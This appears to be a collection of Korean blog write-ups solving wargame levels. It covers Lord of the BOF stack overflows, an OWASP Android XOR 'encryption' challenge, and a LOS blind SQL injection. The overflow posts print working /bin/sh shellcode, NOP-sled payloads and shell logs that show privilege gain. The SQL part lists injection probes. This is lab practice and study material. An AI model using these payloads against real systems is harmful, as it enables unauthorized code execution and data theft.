728x90

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

 

egghunter, bufferhunter, argv[1]hunter, \xbf, argc는 반드시 2개

의 조건이 보인다.

argv[0], argv[1] 이 두개를 이용해야하는데, 리턴주소는 argv[1]를 이용할 수 없다. 왜냐? 0으로 초기화되거든

그러면 우리는 argv[0]에다가 shellcode를 넣어줘야 하는데, 우리가 쓰던 기존 shellcode는 사용할 수 없다.

나도 아직 shellcode를 직접 짜보지 않아서.. 자세한 이유는 다음 첨부하는 주소의 글을 참고하길.

https://dokhakdubini.tistory.com/220?category=797537

 

[해커스쿨 LOB] Level8: Orge >> Troll

Level 8. Orge >> Troll Theme: Check argc + argv hunter 로그인 id : orge pw : timewalker bash2 입력해주시고, 코드를 확인해봅시다. [orge@localhost orge]$ bash2 [orge@localhost orge]$ nl troll.c 1 /*..

dokhakdubini.tistory.com

위 블로그에서 가져온 shell코드는 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

총 35바이트의 코드이고, 심볼릭 링크로 지정 가능하다.

[orge@localhost orge]$ ls
core  troll  troll.c
[orge@localhost orge]$ cp troll.c troop.c
[orge@localhost orge]$ vi troop.c

[1]+  Stopped                 vi troop.c
[orge@localhost orge]$ vi troop.c

[2]+  Stopped                 vi troop.c
[orge@localhost orge]$ vi troop.c
[orge@localhost orge]$ ni troop.c
bash2: ni: command not found
[orge@localhost orge]$ ? 코드를 까먹었다 ㅋ
bash2: ?: command not found
[orge@localhost orge]$ ls
core  troll  troll.c  troop.c
[orge@localhost orge]$ gcc -o troop.c
gcc: No input files
[orge@localhost orge]$ gcc -o troop troop.c
[orge@localhost orge]$ ls
core  troll  troll.c  troop  troop.c
[orge@localhost orge]$ ln -s troop `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ls
core
troll
troll.c
troop
troop.c
????????????????????????????????????????????????????????????????????????????????????????????????????▒?^1ɱ2?l?▒??▒?u▒▒?▒▒▒▒▒2▒Qi00tii0cjo?▒QT?▒?▒?▒?
[orge@localhost orge]$ ./`python -c 'print "\x90"'* `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
>
> ''
> '
> '
>
[orge@localhost orge]$
[orge@localhost orge]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
bffffaa2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Segmentation fault (core dumped)
[orge@localhost orge]$ rm `python -c 'print "\x90"'`*
[orge@localhost orge]$ ls
core  troll  troll.c  troop  troop.c
[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100 + "
>
>
>
> '
> ''
> '
> '
> '
>
[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ls
core
troll
troll.c
troop
troop.c
????????????????????????????????????????????????????????????????????????????????????????????????????▒?^1ɱ2?l?▒??▒?u▒▒?▒▒▒▒▒2▒Qi00tii0cjo?▒QT?▒?▒?▒?
[orge@localhost orge]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44 + "\xa2\xfa\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
bash$ my-pass
euid = 508
aspirin
bash$

 

 

근데 코어로 분석을 안할꺼면 굳이 심볼릭링크에 nop을 넣어줘야 하는지 모르겠다.

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 10번  (0) 2020.07.26
LOB 9번  (0) 2020.07.25
LOB 7번  (0) 2020.07.25
LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
728x90

확실히 LOS보다 LOB가 재밌는듯

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

보아하니, egghunter(이거 계속 막혀서 까먹을듯...egg export=`python~~), bufferhunter, \xbf, argv[1]길이 제한,  argv[0] should 77 등이 있다.

argv[1]의 길이의 제한이 중요한게 아니라 argv[0]의 길이의 제한이 중요한데, 우리가 페이로드를 작성할때 쓰는 [./gremlin] 이 명령어의 길이를 무슨 수로 77자를 맞출까? 

 

첫번째 방법은 심볼릭 링크를 만드는 것이고,

그 명령어는  ln -s [링크를 지정할 파일] [링크이름] 이다.

나도 처음엔 이 방법으로 풀었고, 같은 방법으로 풀면 재미없으니깐 다른 방법을 사용하겠다.

 

우리가 파일을 실행할때 쓰는 명령어는 [./]요건데 [/]이 기호는 디렉토리를 분리해주는 기호고, 안에 값이 없으면 

아무리 적어도 의미없는 기호다. 지금 상황에 딱 필요한 기호지.

 

혹시나 blank, 즉 스페이스바를 기호로 인식한다고 가정하고 시도해봤는데 실패했다 ㅋㅋㅋ

이제 주소가 나왔으니깐 페이로드를 작성하면, (주소가 나온 이유는 LOB 6번 문제처럼 코드를 수정했다)

 

이게 이상한게 봐바

내가 분명히 풀이쓰려고 전에 풀때 쓴 파일 지우기 전에 bash2 해줬는데 에러가 뜨는데 

다시 bash2해주니깐 풀리네 ㅋㅋㅋㅋㅋㅋㅋㅋ

뭐 bash2도 유통기한이 있나? 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 9번  (0) 2020.07.25
LOB 8번  (0) 2020.07.25
LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
728x90

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

코드를 살펴보면, egghunter와 bufferhunter, \xbf주소 조건이 보인다.

또한, argv[1]이 48을 넘을 수 없으므로, 48자로 작성해야한다.

bufferhunter에 의해 buffer엔 shell코드를 넣을 수 없다. 그러면 argv에 넣으면 된다.

스택은 총 48바이트이므로,

nop*19 + shellcode(25) + argv[1]주소

이렇게 넣으면 될것같다. nop을 감싸서 shellcode를 넣어도 되지만, 어차피 주소가 많이 벗어나면 의미가 없으므로, 

정확한 주소를 구하는게 편하다.

 

 

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%x\n", argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

darkelf.c 파일을 darkblf.c 파일로 복제한 뒤, argv[1]의 주소를 출력하는 코드를 추가하였다.

위 주소와 코어분석시 주소를 비교해보자.

코어 분석시 나오는 주소는 0xbffffc30 쪽이고, 수정한 코드로 구한 주소는 0xbffffc3e이므로 

코드를 수정해서 나오는 주소가 정확한것 같다. 하지만, 이 문제가 난이도가 낮기에 코드를 복제&수정이 가능하지 

다른환경에선 가능할지 모르니깐 여러 방법을 알아놓도록 하자.

 

이제 구한 주소로 페이로드를 작성하면, 

./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x3e\xfc\xff\xbf"'`

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 8번  (0) 2020.07.25
LOB 7번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
728x90

 

 

omtg 첫번째 문제 badencryption이다.

제목처럼, 문제가 쉽다.

package sg.vp.owasp_mobile.OMTG_Android;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.util.Base64;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import com.google.common.base.Ascii;
import sg.vp.owasp_mobile.omtg_android.C0000R;

public class OMTG_DATAST_001_BadEncryption extends AppCompatActivity {
    Button btnVerify;
    EditText passwordEditText;

    /* access modifiers changed from: protected */
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView((int) C0000R.layout.activity_omtg__datast_001__bad_encryption);
        setSupportActionBar((Toolbar) findViewById(C0000R.id.toolbar));
        getSupportActionBar().setDisplayHomeAsUpEnabled(true);
        this.passwordEditText = (EditText) findViewById(C0000R.id.BadEnryptionPassword);
        this.btnVerify = (Button) findViewById(C0000R.id.BadEnryptionButton);
        this.btnVerify.setOnClickListener(new View.OnClickListener() {
            public void onClick(View v) {
                boolean unused = OMTG_DATAST_001_BadEncryption.verify(OMTG_DATAST_001_BadEncryption.this.passwordEditText.getText().toString());
                OMTG_DATAST_001_BadEncryption.this.result(Boolean.valueOf(OMTG_DATAST_001_BadEncryption.verify(OMTG_DATAST_001_BadEncryption.this.passwordEditText.getText().toString())));
            }
        });
    }

    /* access modifiers changed from: private */
    public void result(Boolean result) {
        if (result.booleanValue()) {
            Toast.makeText(this, "Congratulations, this is the correct password", 1).show();
        } else {
            Toast.makeText(this, "Try again!", 1).show();
        }
    }

    /* access modifiers changed from: private */
    public static boolean verify(String str) {
        byte[] encryptedDecoded = Base64.decode("vJqfip28ioydips=", 0);
        byte[] userPass = encrypt(str);
        if (userPass.length != encryptedDecoded.length) {
            return false;
        }
        for (int i = 0; i < userPass.length; i++) {
            if (userPass[i] != encryptedDecoded[i]) {
                return false;
            }
        }
        return true;
    }

    private static byte[] encrypt(String str) {
        byte[] bytes = str.getBytes();
        for (int i = 0; i < bytes.length; i++) {
            bytes[i] = (byte) (bytes[i] ^ Ascii.DLE);
            bytes[i] = (byte) ((bytes[i] ^ -1) & 255);
        }
        return bytes;
    }
}

 

 

주어진 문자열 [vJqfip28ioydips=]을 해독하면 된다.

암호화 방식을 보면, 간단한 xor연산으로 이루어져 있다.

xor은 두번하면 역연산이 이루어지므로, 간단한 파이썬 코드를 작성해본다.

import base64

word = 'vJqfip28ioydips='
text = bytearray(base64.b64decode(word))
for i in range(len(text)):
	text[i] = (text[i] ^ -1) & 255
	text[i] = text[i] ^ 16

print(text.decode())
    

    

(첫번째 for 구문은 1바이트 확인용 연산이고, 없어도 상관없긴 하지만 넣어주자.)

 

 

간단하게 풀렸다.

728x90

'Android' 카테고리의 다른 글

[twrp] sm-g610l android 8.1.0 (odin)  (0) 2020.10.05
cSploit 분석 계획  (0) 2020.08.18
Uncrackable_1(작성중)  (0) 2020.07.11
728x90

사람이 만들어 놓은 문제를 시간제약 없이 푼다고 가정했을때, 가장 중요한 점은 출제자의 의도 파악이다.

이 문제를 푸는게 목적이 아니라 이 문제를 통해서 개념을 배우는 입장이므로, 출제자의 의도를 파악하는 과정이 

가장 중요하다. 

 

우선, c파일을 읽어보면, egghunter가 있으므로 환경변수를 이용한 풀이는 제외.

처음보는 bufferhunter 코드를 보면 buffer에다가 shell코드를 넣는 풀이도 제외다.

 

어떻게 풀까?

 

우선 buffer에 값이 들어가는 방식을 잘 살펴보면, argv에 있던 값을 strcpy로 buffer에 넣어준다.

즉, buffer를 사용할 수 없다면 argv를 이용하면 될 것이다.

 

일단 늘 하던것처럼 intel로 disas해주면, 

 

이렇게 나오는데, bufferhunter의 작업이 끝난 230번에 b를 걸어주고, 주소를 보자.

bffffc5c 가 argv의 주소인것 같다.

한번 해보자.

 

 

페이로드가 nop슬라이드로 감싸준 경우도 있지만, 지금까지 풀어봤을때 그걸 감싸준다고 해도 주소가 완전히 다르면

에러가 나기에 지금은 딱히 감싸줄 필요가 없는것 같다.

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 7번  (0) 2020.07.25
LOB 6번  (0) 2020.07.25
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12
728x90

이번에는 bash2를 안까먹고 먼저 넣어주었다.

orc파일을 보면, egghunter이라는게 적혀있는데, 환경변수를 이용할 수 없다는 뜻이다.

다음 for문을 보면, argv[1][47] 항목이 \xbf이어야 한다고 나와있다.

만약 bf가 아니면 stack이랑 손절할 수 없다고 하네

 

환경변수를 이용할 수 없으니깐 nop슬라이드에 shell코드를 태워주고 마지막에 buffer주소를 넣어주자.

전체 바이트 48에서 48-25=23이므로 마지막에 buffer주소를 넣어줄 4바이트를 제외한 19바이트로 nop슬라이드를 

태워주면 될것 같다.

 

우선 shell코드는 있으니깐 buffer주소를 찾아보자.

지금 내가 알고있는 buffer주소를 찾는 방법은 3가지가 있다.

첫번째는 어셈으로 뒤집어서 b를 걸어주고 주소를 찾는방법, 

두번째는 기존 c파일에 필요한 구문을 추가하여서 구하는 방법, 

마지막으로는 core파일을 이용하는 방법이다. 

 

첫번째 방법

첫번째 방법은 오류가 나왔다. segmentation fault 혹은 illegal instruction 에러가 뜨는 경우는 다양한 이유가 있겠지만, 

지금 내 환경에선 주소를 잘못지정했을 가능성이 높다.

 

두번째 방법

두번째 방법 역시 실패했다. 

3번째 방법

코어를 분석하는게 그나마 정확한 주소를 알수 있는것 같다.

그렇다고 한 우물만 파지 말고 다양한 도구를 알아가는게 좋을것 같다.

 

 

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12
LOB 1번  (0) 2020.07.11
728x90

getadr.c 파일은 2번에서 사용한 환경변수를 구하는 프로그램이고, 그대로 가져와서 썼다.

 

일단 goblin.c파일을 읽어보면, 

전과는 다르게 매개변수를 이용한 입력이 아닌 표준입력 방식을 사용하고 있다. 

2번과 같이 환경변수에 shellcode를 넣긴 하지만, 표준입력이기에 파이프를 이용해야 한다.

bash를 바꾸면 기존 주소도 달라진다. 유의

 

환경변수의 주소는 bffffe53,

gets보단 fgets함수를 사용하는게 좋을듯

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 2번  (0) 2020.07.12
LOB 1번  (0) 2020.07.11
728x90

los 4번

먼저 필터링 함수를 보면 pw변수값만 필터링되는것을 알 수 있다.

문제 해결 조건을 보면, pw라는 변수가 존재하여야 하고, result의 pw와 쿼리에서 가져온 pw가 일치하여야 한다.

즉, db에 들어가있는 pw를 알아내야 한다.

 여기서 이용할 함수는 length함수와, ascii함수, substr함수이다.

우선, pw의 길이부터 확인해보자.

[?pw=' or length(pw)=1%23]

[?pw=' or length(pw)=2%23]

[?pw=' or length(pw)=3%23]

[?pw=' or length(pw)=4%23]

[?pw=' or length(pw)=5%23]

[?pw=' or length(pw)=6%23]

[?pw=' or length(pw)=7%23]

[?pw=' or length(pw)=8%23] >> Hello admin

 

pw의 길이가 8인건 알았지만, 숫자와 문자와 특수기호까지 포함해서 8자리라고 가정하면 가능한 값이 너무 많다.

pw의 길이는 아무리 길어도 2가지수를 넘어가지 않기에 노가다로 알아낼 수 있지만,

pw의 값을 알아내기엔 무리가 있다. 따라서, 파이썬코드를 작성하여 

pw 의 length와 값을 찾아보자.

pw 매칭

 

pw값은 095A9852

//아까 코드를 substr을 사용했기에 ord를 같이 사용해주면 대소문자도 구분 가능하다.

los 4번 답

728x90

'web > LOS' 카테고리의 다른 글

LOS 6번  (0) 2020.11.11
LOS 5번  (0) 2020.11.11
LOS 3번  (0) 2020.07.19
LOS 2번  (0) 2020.07.19
LOS 1번  (0) 2020.07.19

+ Recent posts